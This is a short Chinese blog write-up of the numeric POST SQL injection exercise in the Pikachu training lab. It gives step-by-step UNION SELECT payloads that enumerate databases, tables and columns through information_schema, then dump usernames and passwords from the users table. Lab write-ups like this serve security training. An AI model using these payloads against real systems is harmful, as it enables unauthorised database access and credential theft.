数字型注入(post)

数字型注入(post)

打开靶场,发现数字列表查询,点击查询发现POST请求和idsubmit参数

image-20241115092355617

bp抓包,根据题目数字注入提示,尝试用1+1方式查询,+编码为%2B

id=1%2B1&submit=%E6%9F%A5%E8%AF%A2

image-20241115092725608

成功回显

order by查询字段数,在为3的时候回显异常,判断字段数为2

image-20241115093606915

查库,查出数据库为pikachu

id=1 union select 1,database()&submit=%E6%9F%A5%E8%AF%A2

image-20241115093645853

爆库,确定pikachu为目标数据库

id=1 UNION SELECT 1,group_concat(schema_name) from information_schema.schemata&submit=%E6%9F%A5%E8%AF%A2

image-20241115093852251

爆表,查询出全部数据表

id=1 UNION SELECT 1,group_concat(table_name) from information_schema.tables where table_schema="pikachu"&submit=%E6%9F%A5%E8%AF%A2

image-20241115094100803

爆users字段

id=1 UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name="users"&submit=%E6%9F%A5%E8%AF%A2

image-20241115094217771

爆字段

id=1 UNION SELECT 1,concat(id,'--',username,'--',password,'--',level) from users&submit=%E6%9F%A5%E8%AF%A2

image-20241115094541476

成功拿下全部用户信息

posted @ 2024-11-15 09:51  TazmiDev  阅读(51)  评论(0)    收藏  举报